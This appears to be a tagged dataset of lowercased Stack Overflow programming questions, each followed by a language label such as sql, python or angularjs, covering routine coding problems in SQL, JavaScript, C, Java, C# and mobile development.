filter on user id  i have join table that creates an association between my movie and user table. if i use     <pre><code> ng-repeat  =&gt;  movie in movies  </code></pre>   i get all the movies added by all the users. so i m trying to filter out all the results that do not correspond with the users id.    this is the json result of my <code>movies_users</code> request    <pre><code>{ id :4     title : creed      release_date : 2016-01-21      image : /xse4nbfdzqedwa4aij99r1z7ljf.jpg      user_id :null     created_at : 2015-11-14t12:07:43.434z      updated_at : 2015-11-14t12:07:43.434z      movie_id : 312221      users :[     { id :2  email : jan@jan.com   provider :null  uid :null  name : jan jansen   username :null}      { id :1  email : peter@peter.nl   provider :null  uid :null  name : peter boomsma   username :null}] }   { id :5     title : star wars: episode vii - the force awakens      release_date : 2015-12-17      image : /fyzpm9gmpblic893fnjowcwe24h.jpg      user_id :null     created_at : 2015-11-14t12:13:40.413z      updated_at : 2015-11-14t12:13:40.413z      movie_id : 140607      users :[     { id :1  email : peter@peter.nl   provider :null  uid :null  name : peter boomsma   username :null}] } </code></pre>   as you can see the movies have the associated users in them  but i m wondering how i can only show the movies that also have the users id in the view.    i had this     <pre><code>.movie_container{    ng-if  =&gt;  movie.user_id == user_id       ng-repeat  =&gt;  movie in movies | orderby: release_date    } </code></pre>   but now i ve changed my database/back-end it doesn t work anymore.    <strong>edit</strong>    loadmovies function   <pre><code>   movieservice.loadmovies().then(function(response) {       $scope.movies = response.data;        $scope.checkuserexists = function(movie_users) {         for(var i = 0; i &lt; movie_users.length; i++) {             if(movie_users[i].id === movie.user.id) {                 return true;             }         }         return false;       }      }) </code></pre>,angularjs
sql : how do i construct a select query with conditional where clauses   i would like to perform an sql select query with conditional  and  clauses but am having difficulty.    i would like to do something like this:   <pre><code>select * from customer     where active = true     and      case      when state =  ak          then zipcode like  %701      when state =  nv          then zipcode like  %523      else         then phone not null; </code></pre>   how do i go about structuring my query to do this     thanks in advance for any guidance provided.,sql
stored procedure archiving data  16  1   i have this bit of code i m trying to understand:   <pre><code>create proc dbo.archivedata ( @cutoffdate datetime = null ) as begin set nocount on  if @cutoffdate is null  begin     set @cutoffdate = dateadd(mm  -6  current_timestamp)  end else begin     if @cutoffdate &gt; dateadd(mm  -3  current_timestamp)     begin         raiserror ( cannot delete orders from last three months   16  1)         return -1     end end  begin tran      insert into archive.dbo.orders     select *      from dbo.orders     where orderdate &lt; @cutoffdate      if @@error &lt;&gt; 0     begin         rollback tran         raiserror ( error occured while copying data to archive.dbo.orders   16  1)         return -1     end      insert into archive.dbo.orderdetails     select *     from dbo.orderdetails     where orderid in     (         select orderid         from dbo.orders         where orderdate &lt; @cutoffdate     )      if @@error &lt;&gt; 0     begin         rollback tran         raiserror ( error occured while copying data to archive.dbo.orderdetails   16  1)         return -1     end      delete dbo.orderdetails     where orderid in     (         select orderid         from dbo.orders         where orderdate &lt; @cutoffdate     )      if @@error &lt;&gt; 0     begin         rollback tran         raiserror ( error occured while deleting data from     dbo.orderdetails   16  1)         return -1     end      delete dbo.orders     where orderdate &lt; @cutoffdate      if @@error &lt;&gt; 0     begin         rollback tran         raiserror ( error occured while deleting data from dbo.orders   16      1)         return -1     end  if @@trancount &gt; 0 begin     commit tran     return 0 end  end </code></pre>   was just wondering the 16 and o1  seen here: <code>error occured while deleting data from     dbo.orderdetails   16  1)</code>  is that for reporting the error to the log  and 16 is severity  1 is status  and if so exactly what doe they mean,sql
why can t i center this div using margin:auto   the first thing google pulled up was   <pre><code>margin:auto </code></pre>   which i tried and it did not work.    using the inspector it appears that one of the sub-elements is taking up the whole width of the containing div.      i think this might be the problem.  which makes me ask how can i stop this sub-element from taking up all this width that it is not using.    here is some code that might be relevant:   <pre><code>&lt;style&gt; #pub_fm{   margin: auto; } #pub_fm_tags{   position:  relative;   width:  370px; } #pub_fm_foo{   margin-top:10px;   position:  relative;   clear:  both; } #pub_fm_space{   height:  10px;   clear:  both; } &lt;/style&gt;      &lt;div id= body_public &gt;       &lt;div id =  pub_fm &gt;         &lt;div id =  pub_fm_tags &gt;&lt;/div&gt;         &lt;div id =  pub_fm_space &gt;&lt;/div&gt;         &lt;div id =  pub_fm_arcmarks &gt;&lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt; </code></pre>,css
select all and some on the same query  i have this schema   <pre><code>table foo user_id | time_dif | tool 1       | 1        | flurry 1       | 0        | flurry 1       | 15       | flurry 1       | 4        | flurry 1       | 5        | topler </code></pre>   what i want is a query that does this two at the same time  unfortunately i don t know how to combine them...   <pre><code>select count (user_id)  tool  from foo group by tool; &gt; 4   flurry &gt; 1   topler  select count(user_id) from foo where time_diff &gt; 2 group by tool  &gt; 2   flurry &gt; 1   topler </code></pre>   i want a query that combine those two together and gave me something like this:   <pre><code>&gt; 4   2   flurry &gt; 1   1   topler </code></pre>   note: i want both results to be returned in the same row...,mysql
c  error: control reaches end of non-void function [-werror -wreturn-type] <pre><code>struct quad { int a; int b; int c; }  int f(const int a  const int b  const int c  const int x){   const int l = a*x*x + b*x + c;   return l; }  int safe_quad_eval(const struct quad q  const int x){   (f(q.a q.b q.c x)&gt;int_max)||(f(q.a q.b q.c x)&lt;(-int_max))   int_min : f(q.a q.b q.c x); } </code></pre>   i m not sure what does this error mean  and how to solve it,c
how add clip art at run time on button click  hello  i am working on project where i need to customize our card at run time. mean when user click on a button then it will show a horizontal slider(that contain images ) user click one of the image and images comes over the screen.,javascript
get returned by __enter__ in __exit__  for example  i have this code:   <pre><code>with myclass() as x:     print  i have only {0} .format(x)     with myclass() as y:         print  i have {0} and {1} .format(x  y)     print  again only {0} .format(x) </code></pre>   <code>x</code> and <code>y</code> both should be de-initialized after exit of corresponding <code>with</code> blocks. also <code>x</code> and <code>y</code> aren t instances of <code>myclass</code>.    <code>__exit__</code> has only three arguments and each argument is none (if no exception supplied).    how can i determine at <code>__exit__</code> which block is just exited and what value was returned by <code>__enter__</code>     (n.b. code should be thread-safe).   <hr>   example:   <pre><code>class myclass(object):     def __enter__(self):         if moon_phase &gt; 0:             return 123         else:             return 456     def __exit__(self):         number = what_was_returned_by_enter()         print  end of block with   number    with myclass() as x:     print x  # 123     with myclass() as y:         print x   and   y  # 123 and 456     # printed  end of block with 456      print x  # 123  # printed  end of block with 123  </code></pre>,python
how to check between play/pause button images  lets say i have image1 as<code>play icon.png</code>and image2 as <code>pause.png</code>.    i want to do something like this  if the buttons image is image1 do this and if buttons image is image2 do that.   <pre><code>[playpausebutton setimage:[uiimage imagenamed:@ play icon.png ] forstate:uicontrolstatenormal];  [playpausebutton setimage:[uiimage imagenamed:@ pause.png ] forstate:uicontrolstateselected]; </code></pre>   how do i find out wheter its <code>play icon.png or pause.png</code>.    thanks,iphone
login mechanism using angularjs  hi in my application login is working fine but one problem is for example my password is- <strong>secret</strong>  if i enter <strong>secret</strong> with capital or <strong>secret</strong> also it is logging in  if i give wrong password it will return false any solution    login controller   <pre><code>app.controller( logincontroller  function(loginservice  $rootscope $scope  $http $location) {       $scope.login = function () {         $scope.log=loginservice.getlogin( $scope.emailid   $scope.password).          then(function (response) {             console.log($scope.log);             console.log(response)                      if (response.data.loginverificationresult.length === 0) {                         alert( details are not available for this emailid );                         $scope.error=true;                       } else {                          $rootscope.name=response.data.loginverificationresult[0].username;                          $scope.abc=response.data.loginverificationresult[0].usertype                  console.log($scope.abc+ from....... );                          sessionstorage.setitem( emaiid  $scope.emailid);                          sessionstorage.setitem( user id  response.data.loginverificationresult[0].userid);                          sessionstorage.setitem( username  response.data.loginverificationresult[0].username);                          sessionstorage.setitem( usertype  response.data.loginverificationresult[0].usertype);                              $scope.usertype = sessionstorage.getitem( usertype );                             console.log($scope.usertype + from login controller )                              if ($scope.usertype == hr ) {                                  $location.path( /empregister )                             }                             else if ($scope.usertype == admin ) {                                 $location.path( /patientregister )                             }                             else {                                  $location.path( /dashboard )                             }                        }           });      }; }); </code></pre>   all scenarios are working fine but problem is with password mentioned above,angularjs
how can i get a count of the numbers in a column as a total   i have this query:   <pre><code>select abc from ( select ... ) </code></pre>   it returns rows of number abc    how can i find out the total count of all those numbers in the abc column   so for example if there are three rows with a count of 1 2 and 4 in the abc column i want to get the answer 7.  note the inner select just returns one column (abc),sql
understanding c++ virtual methods of instances allocated on the stack  for the following code:   <pre><code>#include&lt;iostream&gt; using namespace std;  class a{ public: virtual int f(){return 1;} }; class b : public a{ public: virtual int f(){return 2;} }; int main(int argc char*argv[]){     a b=b();     cout&lt;&lt;b.f()&lt;&lt;endl; } </code></pre>   i expect the number <code>2</code> to be printed.  instead the program prints the number <code>1</code>.    could someone explain why this is,c++
trying to make nsstring from scanf. only getting the first word  here s what i m trying to do:   <pre><code>char inputbuffer[200]; nsstring *input; scanf( %s   inputbuffer); input = [[nsstring alloc] initwithutf8string:inputbuffer]; nslog(input); </code></pre>   here s what happens:   <pre><code>bla bla bla 2010-11-08 23:17:03.670 textgame[51147:a0f] bla </code></pre>   <strong>inputbuffer</strong> contains whole string. i tried to do <code>nslog( %@   inputbuffer)</code> and there was whole string.    when i create this nsstring it looks like it contains only the last word.    please help me out with these i googled like the whole internet and didn t get anywhere. :-),objective-c
sql select  sum and group  i m struggling with an access database: i have a large database with the headers tag  zst  kl and r1h00 to r1h23 (24 of them  each one stands for one hour of a day) and i need to get a specific dataset out of it:   <pre><code>select tag  zst  (r1h00 + r1h01 + r1h02 + r1h03 + r1h04 + r1h05 + r1h06 + r1h07 + r1h08 + r1h09 + r1h10 + r1h11 + r1h12 + r1h13 + r1h14 + r1h15 + r1h16 + r1h17 + r1h18 + r1h19 + r1h20 + r1h21 + r1h22 + r1h23) as total from klassendaten where kl =  swiss7_pw  </code></pre>   so far so good  but the result contains many items with the same id (zst). i need to sum all entries with the same zst  but i couldn t manage to do it so far. (i tried to use the group by statement  but that only results in errors)    any experienced sql people here that could help me with this,sql
where can i find interesting .net screencasts   (f#  ironruby  ironpython ...)  i m looking for <strong>interesting screencasts targetting .net</strong> (no podcasts) to extend what i already propose on my screencast aggregator at <a href= http://www.learnivore.com  rel= nofollow noreferrer >http://www.learnivore.com</a>.    can you help me find the most interesting ones you d be aware of      those i already know:   <ul> <li><a href= http://www.dimecasts.net  rel= nofollow noreferrer >http://www.dimecasts.net</a></li> <li><a href= http://www.monotouch.info  rel= nofollow noreferrer >http://www.monotouch.info</a> (.net development on iphone!)</li> <li>a series of 4 f# screencasts i can t find back</li> <li>plus another one i can t disclose yet</li> </ul>   i tend to avoid conferences  talks or recordings with poor sound quality - i mostly keep content  à la peepcode   hands-on material.    thanks for your help!,.net
sql: create triggers instead of unique constraints  i ma new to sql and i am trying to make a small database with some integrity constraints. i have a database with the required constraints listed as follows   <pre><code>movies(title  year  length  genre  studioname  producerc#) producer(name  address  cert#  networth  firmid) firm(id  name  address)  movie is identified by its title a movie may have at most one producer no two movies can have the same title a producer works for one and only one firm </code></pre>   i have the first one  for which i have done   <pre><code>alter table movies add primary key (title); </code></pre>   the second one has me slightly confused. i initially tried this:   <pre><code>alter table movies     add constraint uqproducer unique(title  producerc#); </code></pre>   this one works  but for some reason it still inserts the record. if i try to insert two movies of the same name with 1 producer  it spits out an error (or exception)  but it still inserts the record anyway! i have done some research and it seems that i should be using triggers instead of just adding a constraint  but i m not quite clear what the difference is or how to make a trigger that does what i need it to do here. i feel like i will need this for the other two constraints as well.    thank you for your help,sql
how to allow for program to crash and then recover in c  i m working on something in c that requires a variadic function  and i need to do something depending on the type of each argument. i know via <a href= https://stackoverflow.com/questions/27475510/determine-types-from-a-variadic-functions-arguments-in-c >here</a> that there s no way to check type during execution (and i m not interested in the way they tried to solve it there)  so i m wondering if there s any sort of panic/recovery techniques in c  so as to implement a sort of try/catch (i ve seen <a href= http://www.di.unipi.it/~nids/docs/longjump_try_trow_catch.html  rel= nofollow noreferrer >this</a> article on pseudo try catches  but they won t allow for running non-executable code).    my thoughts are too loop through the variables and try different behaviors on them that only work with specific types. i know this might not be possible. thanks in advance if you know of anything    edit: if you are going to suggest that i should just refactor my code to not have to do that  let me explain: i m trying to implement a println() function  similar to those in python and go  where you can simply enter all the variables you want to be printed and not have to worry about a format string (println(myvar  10   nice )). the obvious answer is just don t do it  since format strings really aren t that hard. but this sounds fun to me,c
shouldchangecharactersinrange logic  i can t seem to figure out the best way to handle this.  when user presses decimal point i want it to move to next textfield.  the problem i m having is it s displaying the decimal in the next text field and only works if i type a decimal only.  i believe i understand why it s only allowing decimal is because of the way i m starting if statement  but i can t seem to figure out the best approach here.   <pre><code>- (bool)textfield:(uitextfield *)textfield shouldchangecharactersinrange:(nsrange)range replacementstring:(nsstring *)string {     nsstring *decmial = @ . ;      if ([textfield.text isequaltostring:@ . ])     {         if (octet1.text == decmial) {             octet1.text = [octet1.text stringbyreplacingoccurrencesofstring:decmial withstring:@  ];             [octet1 isfirstresponder];             [octet2 becomefirstresponder];         }         else if (octet2.text == decmial) {             octet2.text = [octet2.text stringbyreplacingoccurrencesofstring:decmial withstring:@  ];             [octet2 isfirstresponder];             [octet3 becomefirstresponder];         }         else if (octet3.text == decmial) {             octet3.text = [octet3.text stringbyreplacingoccurrencesofstring:decmial withstring:@  ];             [octet3 isfirstresponder];             [octet4 becomefirstresponder];         }           else if (octet4.text == decmial) {             octet4.text = [octet4.text stringbyreplacingoccurrencesofstring:decmial withstring:@  ];             [octet4 isfirstresponder];             [mybitmask becomefirstresponder];         }      }     return yes; } </code></pre>,ios
indent and comments in function in python  i am using python 2.7 and wrote the following:   <pre> def arithmetic(a):     x=1     some comments here           if x=1:         x=1     elif x=2:         x=2     return 0 </pre>   but it has the indentation issue:   <pre>     if x=1:     ^ indentationerror: unexpected indent </pre>   so how to write comments in the function,python
create dynamic tableview with border in android   i want to create like this.<img src= https://i.stack.imgur.com/a0soh.png  alt= enter image description here >    my code is..   <pre><code>void fillcountrytable() {   tablerow row;   textview tv_lession  tv_price  tv_line;   checkbox chkbox;    int dip = (int) typedvalue.applydimension(typedvalue.complex_unit_dip      (float) 1  getresources().getdisplaymetrics());    for (int current = 0; current &lt; lession.size(); current++) {    row = new tablerow(this);     tablerow.layoutparams llp = new tablerow.layoutparams(      );    llp.setmargins(2  2  2  2);// 2px right-margin     // new cell    linearlayout cell = new linearlayout(this);     cell.setbackgroundcolor(color.blue);    cell.setlayoutparams(llp);// 2px border on the right for the cell     tv_lession = new textview(this);    tv_lession.settextcolor(getresources().getcolor(color.darker_gray));    tv_price = new textview(this);    tv_price.settextcolor(getresources().getcolor(color.darker_gray));    chkbox = new checkbox(this);    chkbox.setid(current);     tv_lession.settext(lession.get(current));    tv_price.settext(price.get(current));     tv_lession.settypeface(null  1);    tv_price.settypeface(null  1);     tv_lession.settextsize(15);    tv_price.settextsize(15);     tv_lession.setwidth(50 * dip);    tv_price.setwidth(150 * dip);    chkbox.setwidth(50 * dip);    tv_lession.setpadding(20 * dip  0  0  0);     cell.addview(tv_lession);    cell.addview(tv_price);    cell.addview(chkbox);     // row.setbackgroundcolor(color.black);    row.addview(cell);     ((tablelayout) findviewbyid(r.id.course_outline_table)).addview(      row  new tablelayout.layoutparams(layoutparams.fill_parent         layoutparams.wrap_content));     chkbox.setoncheckedchangelistener(new oncheckedchangelistener() {      public void oncheckedchanged(compoundbutton buttonview        boolean ischecked) {      if (ischecked) {       subtotal += integer.parseint(price.get(buttonview         .getid()));       total = subtotal + tax;      } else {       subtotal -= integer.parseint(price.get(buttonview         .getid()));       total = subtotal + tax;      }       ((textview) findviewbyid(r.id.tv_subtotal))        .settext(subtotal +   );      ((textview) findviewbyid(r.id.tv_total))        .settext(total +   );     }    });    }  } </code></pre>,android
in python how should i test if a variable is none  true or false  i have a function that can return one of three things:   <ul> <li>success (<code>true</code>)</li> <li>failure (<code>false</code>)</li> <li>error reading/parsing stream (<code>none</code>)</li> </ul>   my question is  if i m not supposed to test against <code>true</code> or <code>false</code>  how should i see what the result is. below is how i m currently doing it:   <pre><code>result = simulate(open( myfile )) if result == none:     print  error parsing stream  elif result == true: # shouldn t do this     print  result pass  else:     print  result fail  </code></pre>   is it really as simple as removing the <code>== true</code> part or should i add a tri-bool data-type. i do not want the <code>simulate</code> function to throw an exception as all i want the outer program to do with an error is log it and continue.,python
creating a 2d array of objects in javascript  i have a javascript object -   <pre><code>cell{xpos  ypos}; </code></pre>   i would like to create a 2d array of this object.   <pre><code>cellprototype = function(x  y) { this.xpos = x; this.ypos = y; } var cell = new array(); for(var i=0;i&lt;10;i++) {   cell[i] = new array();   for(var j=0;j&lt;10;j++)   {      cell[i][j] = new cellprototype(i j);   } } </code></pre>   this code doesn t work. neither does -    <pre><code>var cellprototype = function(x  y) {     return {    xpos : x;   ypos : y; } var cell = new array(); for(var i=0;i&lt;10;i++) {   cell[i] = new array();   for(var j=0;j&lt;10;j++)   {      cell[i][j] = new cellprototype(i j);   } } </code></pre>   so how do i create a 2d array of an object in javascript,javascript
iso 8601 into a datetime object using c# <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3556144/how-to-create-a-net-datetime-from-iso-8601-format >how to create a .net datetime from iso 8601 format</a>    </blockquote>     how can i parse a date string in <a href= http://en.wikipedia.org/wiki/iso_8601  rel= nofollow noreferrer >iso&nbsp;8601</a> format into a datetime object using c#,.net
have problem with multi-line string in javascript  this works:   <pre><code>alert( foo\          bar  ) </code></pre>   but this is causing syntax error:   <pre><code>t= test ; alert( &lt;tr&gt;&lt;td&gt;&lt;b&gt;  + t +  &lt;/b&gt;&lt;/td&gt;\                      &lt;td&gt;&lt;/td&gt;&lt;td&gt; ) </code></pre>   error is:   <pre><code>syntaxerror: unterminated string literal </code></pre>   they two should be the same thing  why the first one works  while the second fails,javascript
why does my value get cascaded into every other index in my list   got another c# question i m not too sure about.  i know where the problem is occurring but don t understand why it would be happening.    i m using the list.add(); method to add an int[] when certain conditions are met.  what i found is that when the loop finishes and i supposedly have all the values contained  all the values are the same across every index.    during debugging i found that it adds the first one correctly  but then when the second gets added it overwrites the first but also adds a second.  i ve never seen this happen with list.add() before  but maybe it s because i m storing int[] objects this time     here s the code that adds it all in.  looks harmless to me  but this is perhaps where i m lacking knowledge:   <pre><code>numbersfortriples[0] = (int)math.sqrt(a); numbersfortriples[1] = (int)math.sqrt(b); numbersfortriples[2] = (int)math.sqrt(c); triples.add(numbersfortriples); </code></pre>,c#
extract text from one paragraph and insert into another  expanding on <a href= https://stackoverflow.com/questions/1543648/how-to-get-a-text-before-given-element-using-jquery >how to get a text before given element using jquery </a> - how does one actually insert this text into another paragraph     <a href= http://jsfiddle.net/frank_o/fqwow5rr/  rel= nofollow noreferrer >http://jsfiddle.net/frank_o/fqwow5rr/</a>    html:   <pre><code>&lt;p&gt;text here &lt;a href= # &gt;url&lt;/a&gt;&lt;/p&gt;  &lt;!-- should be:  &lt;p&gt;text here&lt;/p&gt; &lt;p&gt;&lt;a href= # &gt;url&lt;/a&gt;&lt;/p&gt;  --&gt; </code></pre>   js:   <pre><code>var text = $( a ).parent().html(); var regex = /(.*)&lt;a/;  text = text.match(regex)[1];  console.log( extracted text:   + text);  # uncaught typeerror: undefined is not a function  text.clone().append( &lt;p&gt;&lt;/p&gt; ); </code></pre>,jquery
jquery - insert bottom  cap  – matching background color of caption – after each table  i have a site with many  many tables. these tables are color-coded (with dozens of colors that vary across the site)  each with a caption styled as a label at the top.     in order to avoid the nightmare of touching every table  i d like to use jquery to automatically add a nice matching bottom for all these tables  taking the background color of the caption  applying it to this bottom  and inserting it after each table site-wide. sort of like adding a matching pair of shoes to go with a hat (probably a poor fashion choice  i know  but bear with me).    the following is the closest i ve gotten  but it inserts <em>all</em> the bottoms on <em>all</em> the tables on the page – such that if i have three tables on a page  each has three bottoms.   <pre><code>$(  table caption  ).each( function() {   var tablebottomcolor =  $( this ).css(  backgroundcolor  );   //add colored footers to all tables   $(  &lt;div class= tablebottom  style= background-color:  + tablebottomcolor+  &gt;&lt;/div&gt;  ).insertafter(  table  ); }); </code></pre>   i tried adding a ( table ).each function around the insertafter statement  but then i had 9 bottoms on each table.    <a href= https://jsfiddle.net/halfacre/p8agb7mo/13/  rel= nofollow noreferrer >here s a quick fiddle.</a>    how can i add one bottom to each table with a background color that matches that of its respective caption,jquery
undefined index notice stops script  ok guys this is my code:   <pre><code>if (!is_array($html_strings[$form_name])) {$html_strings[$form_name] = array();}         array_push($html_strings[$form_name]   &lt;input type= checkbox   .                                                   name=   . $result{ formdir } .  _  . $result{ form_id } .    .                                                   id=   . $result{ formdir } .  _  . $result{ form_id } .    .                                                   value=   . $result{ encounter } .     .                                                   class= encounter_form   .                                                  &gt;  . xl_form_title($result{ form_name }) .  &lt;br&gt;\n ); </code></pre>   and i am getting the following notice <strong><em> notice: undefined index: nota de consulta </em></strong>    any help on fixing this issue,php
android multiple listviews with checkbox  i m new to android programing. i need to create a list of 1000 goods for users to click and check or the one they want to buy.  i ve created the array list and added it to my custom adapter and i have also added it to my list view. my problem is how to get the position for each item selected and i need clarification on the getview and the viewholder. i m not working with toast,android
dice roll simulation in java  i searched this site and found similar codes but a little different. for my lab in class the instructions say that i need to roll n die   m times and display the number of times a roll occurs in a frequency table. so i m having a bit of trouble setting up the data in my frequency table. the frequency table prints right but my numbers are wrong. i feel like i m missing something either and array or an increment  please help    my input:   <pre><code>import javax.swing.*; import java.awt.*; import java.util.*;  public class lab1 {     public static void main(string[] arg)   {        random ran = new random();        string n = joptionpane.showinputdialog(null  how many dice :  );        string m = joptionpane.showinputdialog(null  how many rolls :  );        int die = integer.parseint(n);        int roll = integer.parseint(m);        int count = 0;        int[] rollarr = new int[die*6+1];         for(int i=0;i&lt;rollarr.length;i++)        {             rollarr[i] = 0;        }         for( int i=0; i&lt;roll;i++)        {             count = die*1 + ran.nextint ( 6 );             ++rollarr[count];        }         for(int r=1;r&lt;rollarr.length;r++)             system.out.println(r +  :  + rollarr[r]);   } } </code></pre>   the example says to roll 4 dice 1 000 000 times to get a bell curve but my curve has alot of zeroes. my output:   <pre><code>1:0 2:0 3:0 4:166309 5:166424 6:166523 7:166984 8:167286 9:166474 10:0 11:0 12:0 13:0 14:0 15:0 16:0 17:0 18:0 19:0 20:0 21:0 22:0 23:0 24:0 </code></pre>,java
cpu caching when multithreading behaviour  taking cpu caching and any possible compiler optimizations into account:   <ol> <li>is it possible for  false  to be written to the console </li> <li>is option 1 setting up a memory fence that guarantees the freshness of the object reference and the field </li> <li> is option 2 less  safe  than option 1 in any way    <pre><code>class program {     class test     {         internal bool value = false;     }      static void main(string[] args)     {         test test = new test();          //option 1         threadpool.queueuserworkitem((s) =&gt;          {             thread.sleep(1000);             console.writeline(((test)s).value);          }  test);          //option 2         threadpool.queueuserworkitem((s) =&gt;         {             thread.sleep(1000);             console.writeline(test.value);         });          test.value = true;         console.readline();     } } </code></pre></li> </ol>,c#
identify the element in string array in java  i want to identify the elements in letters and elements in numbers in string array.is there any other way to do it    <pre><code>string a[]={ aaaa   111111   bbbbbb };      for(int i=0;i&lt;a.length;i++) { post your code for this for loop } </code></pre>,java
why structs cannot have extern properties  but methods are ok   observe the following code:   <pre><code>[attributeusage(attributetargets.all)] public class xattribute : attribute { }  public struct a {   [x]   public static extern int xx { get; } } </code></pre>   this does not compile. the error message says    <blockquote>    the modifier  extern  is not valid for   this item  </blockquote>   but  the following code compiles ok:   <pre><code>[attributeusage(attributetargets.all)] public class xattribute : attribute { }  public struct a {   [x]   public static extern int getxx(); } </code></pre>   why        <strong>edit</strong>    guys  guys. i would not have asked had i not had a real application for this. i understand  that purely academic interest to understand why some things are defined the way they are is not something that motivates some of us  so here is the down to earth motivation. i have a postsharp attribute  that injects a certain logic into the attributed extern property. specifically  the real code looks like so:   <pre><code>[loggeraccessproperty] private static extern ilog logger { get; } </code></pre>   where postsharp processes the loggeraccessproperty aspect and injects the actual getter method  which surfaces the private static compiler generated ilog instance. this is part of our in-house extension of the log4postsharp package. at the time  we have published the extended version of log4postsharp at the postsharp google code site and this attribute is my recent addition  yet unpublished.    <strong>edit2</strong>    note  that the following code compiles just fine:   <pre><code>[attributeusage(attributetargets.all)] public class xattribute : attribute { }  public class a {   [x]   public static extern int xx { get; } } </code></pre>   the difference is that a is a class here  not struct.    <strong>edit3</strong>    i am using .net 4.,.net
way to eliminate pre-processor commands  i need a way to show this c# 3.0 code:   <pre><code>[testmethod] #if nunit         [moled] #else         [hosttype( moles )] #endif public void testsomething() </code></pre>   with out using/needing the pre-processor commands on each method.    is this possible    <hr>   talking with a co-worker  we theorized that there may be a way to create an attribute class that has 2 constructors (one with zero params and one with 1 string). then in the top of the file we do our conditional there like this:   <pre><code>#if nunit    moled = mynamespace.mynewattribute; #else    hosttype = mynamespace.mynewattribute; #endif </code></pre>   the mynewattribute class would be setup to do nothing  so that i can compile with this:   <pre><code>[testmethod] [moled] [hosttype( moles )] public void testsomething() </code></pre>   would this work   how would i write this class,c#
showing which article has the most rows in articleviews table  showing which article has the most rows in my articleviews table (i have no idea how to go about this)   <pre><code>+-------------------------+---------------------+-----------                                                                          | title            |||||||||||||       dateofview          |                                                                          +-------------------------+---------------------+-----------                                                                          | world of warcraft guide ||||||| 2014-03-17 14:25:00 |                                                                          | world of warcraft guide ||||||| 2014-03-07 14:25:00 |                                                                          | world of warcraft guide ||||||| 2014-02-25 14:25:00 |                                                                          | leauge of legends guide |||| 2014-03-17 14:25:00 |                                                                          | leauge of legends guide |||| 2014-03-07 14:25:00 |                                                                          | the hearthstone guide   ||||||||| 2014-03-17 14:25:00 |                                                                          | the hearthstone guide   ||||||||| 2014-03-07 14:25:00 |                                                                          | the hearthstone guide   ||||||||| 2014-02-25 14:25:00 |                                                                          | the hearthstone guide   ||||||||| 2014-01-01 14:25:00 |                                                                          | how to be the best      ||||||||||||||||| 2014-03-07 14:25:00 |                                                                          | how to tank in wow      ||||||||||||||||| 2014-03-17 14:25:00 |                                                                          +-------------------------+-------------------------------------------+  </code></pre>   this is what my table looks like.    i need to write a query that shows which article has the most views essentially  and i have no idea what query to use. any suggestions would be greatly appreciated.,mysql
it doesn t show an alert if one textarea is empty or less than 5 characters  below is my coding which is suppose to validate textareas which are empty or contains 5 characters or less.   <pre><code>function validation() {                  var context = $( #optionandanswer );     var currenttotal = context.find( .answerbtnson ).length;          alertvalidation=   ;         // note  this is just so it s declared...      var textareao = $( .textareaquestion );      if (textareao.val() ==   ){         alertvalidation +=  \nyou have not entered a valid question\n ;     } else if (textareao.val().length &lt; 5){         alertvalidation +=  \nyou have not entered a valid question\n ;     }       if(alertvalidation !=   )     {         alert(alertvalidation);         return false;     }       return true; } </code></pre>   the problem is that lets say i have 2 textareas with the same class (.textareaquestion)  then if one one of the two textareas is empty or less than 5 characters  then there is no validation (no alert appears) which is incorrect as it should appear. it only appears if both textareas are empty or less than 5 characters. so how can this code be manipulated so that if there is a textarea out of many textareas which is empty or less than 5 characters  then show the alert     thanks,jquery
c strncat to my environment  so i got my go to split the environment path and i got them all   <pre><code>char *token; char *path; char copy[200]; char *search =  : ; char echo[] =  echo ; int main(){      path= getenv( path );     strncpy(copy path sizeof(copy)-1);      token = strtok (copy  : );     printf( %s\n  path);     while(token != null)     {         printf( %s\n  token);         token= strtok (null  : );     } } </code></pre>   i get want i need   <pre><code>/usr/lib64/qt-3.3/bin /usr/nx/bin /usr/local/bin /usr/bin /usr/divms/bin /usr/local/sbin /usr/sbin /space/befox/bin /space/befox/bin </code></pre>   now i just need to concat a  /  to the end of all of those  and i got it to work but it only prints the 1st one. so here is my code:   <pre><code>char *token; char *path; char copy[200]; char *search =  : ; char echo[] =  echo ; char *result; int main(){      path= getenv( path );     strncpy(copy path sizeof(copy)-1);      token = strtok (copy  : );     printf( %s\n  path);     while(token != null)     {         result = strncat (token  /  sizeof(token+1));         printf( %s\n  token);         token= strtok (null  : );     } } </code></pre>   and now i just get:   <pre><code>/usr/lib64/qt-3.3/bin/ </code></pre>   what do i need to fix so i get all of the lines with a  /  at the end of them,c
angular.module name by default  when    <pre><code>&lt;html ng-app= myapp &gt;  </code></pre>   then i get module:    <pre><code>angular.module( myapp   []);  var mod = angular.module( myapp ) mod.controller( mycontroller   function ($scope) {}) </code></pre>   i am interested in how to choose the default module when <code>&lt;html ng-app&gt;</code>,angularjs
specify the db name dynamically in a query  i have this monster sql query that looks to fetch data from a staging database  do a join on the destination database and insert/update data on a destination table.    a simplified format would be somehting like this   <pre><code>merge into sourcedb.schema.destiantiontable as target using (select cola  colb  colc from stagedb.schema.source a inner join sourcedb.schema tablea) as source on target.id = source.id when matched then update--  when not matched insert </code></pre>   can i set the staging db name dynamically  the query is huge so i do not want to use the exec sql syntax. any suggestions,sql
sql - select the penultimate date  i have a table that has an [archivedate] column like this:   <pre><code>archivedate 2014-10-06 2014-10-06 2014-10-06 2014-10-01 2014-10-01 2014-10-01 2014-10-01 2014-05-22 2014-05-22 </code></pre>   i want to select the penultimate date  but when i use:   <pre><code>select max([archivedate]) -1  previousweek  from [pipelinearchive] </code></pre>   i get 2014-10-05 (which doesn t exist in the column)  rather than 2014-10-01.    i can t figure out how to code this to select the  last but one ; any help will be much appreciated!    thank you.,sql
